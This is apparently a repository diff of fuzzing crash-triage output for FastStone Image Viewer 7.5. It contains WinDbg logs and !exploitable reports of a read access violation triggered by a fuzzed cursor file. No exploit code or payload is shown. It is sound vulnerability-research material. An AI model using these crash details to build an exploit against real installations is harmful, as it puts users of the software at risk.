+BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/58381/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/58381/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..fb013fc --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/58381/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x12EC: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x12EC: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001e0000 00000000`001fd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(12ec.16c4): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07e17b10 edx=00003879 esi=12738f10 edi=0f674fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.707270054558844000000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 8.958619000000000000000e+0006 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=7.86055e+007 1.02683e-009 -6.39869e-028 -0.765507 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07ef8130 07e75930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002cd000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002cd000 fa192272 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6290 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002cd000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/58381/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/58381/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..aaf81b6 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/58381/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/59416/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/59416/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/59416/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/59416/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/59416/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..d580012 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/59416/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/59416/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/59416/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..10c2538 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/59416/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1058: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1058: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1058.500): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=00006d2d ecx=07ea7b10 edx=00003879 esi=12768f40 edi=0f672fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.732602802468701280000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=3.87118e-010 3.55349e-033 2.44526e+025 8.011e+008 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f88130 07f05930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00339000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00339000 b6c50165 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ba 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 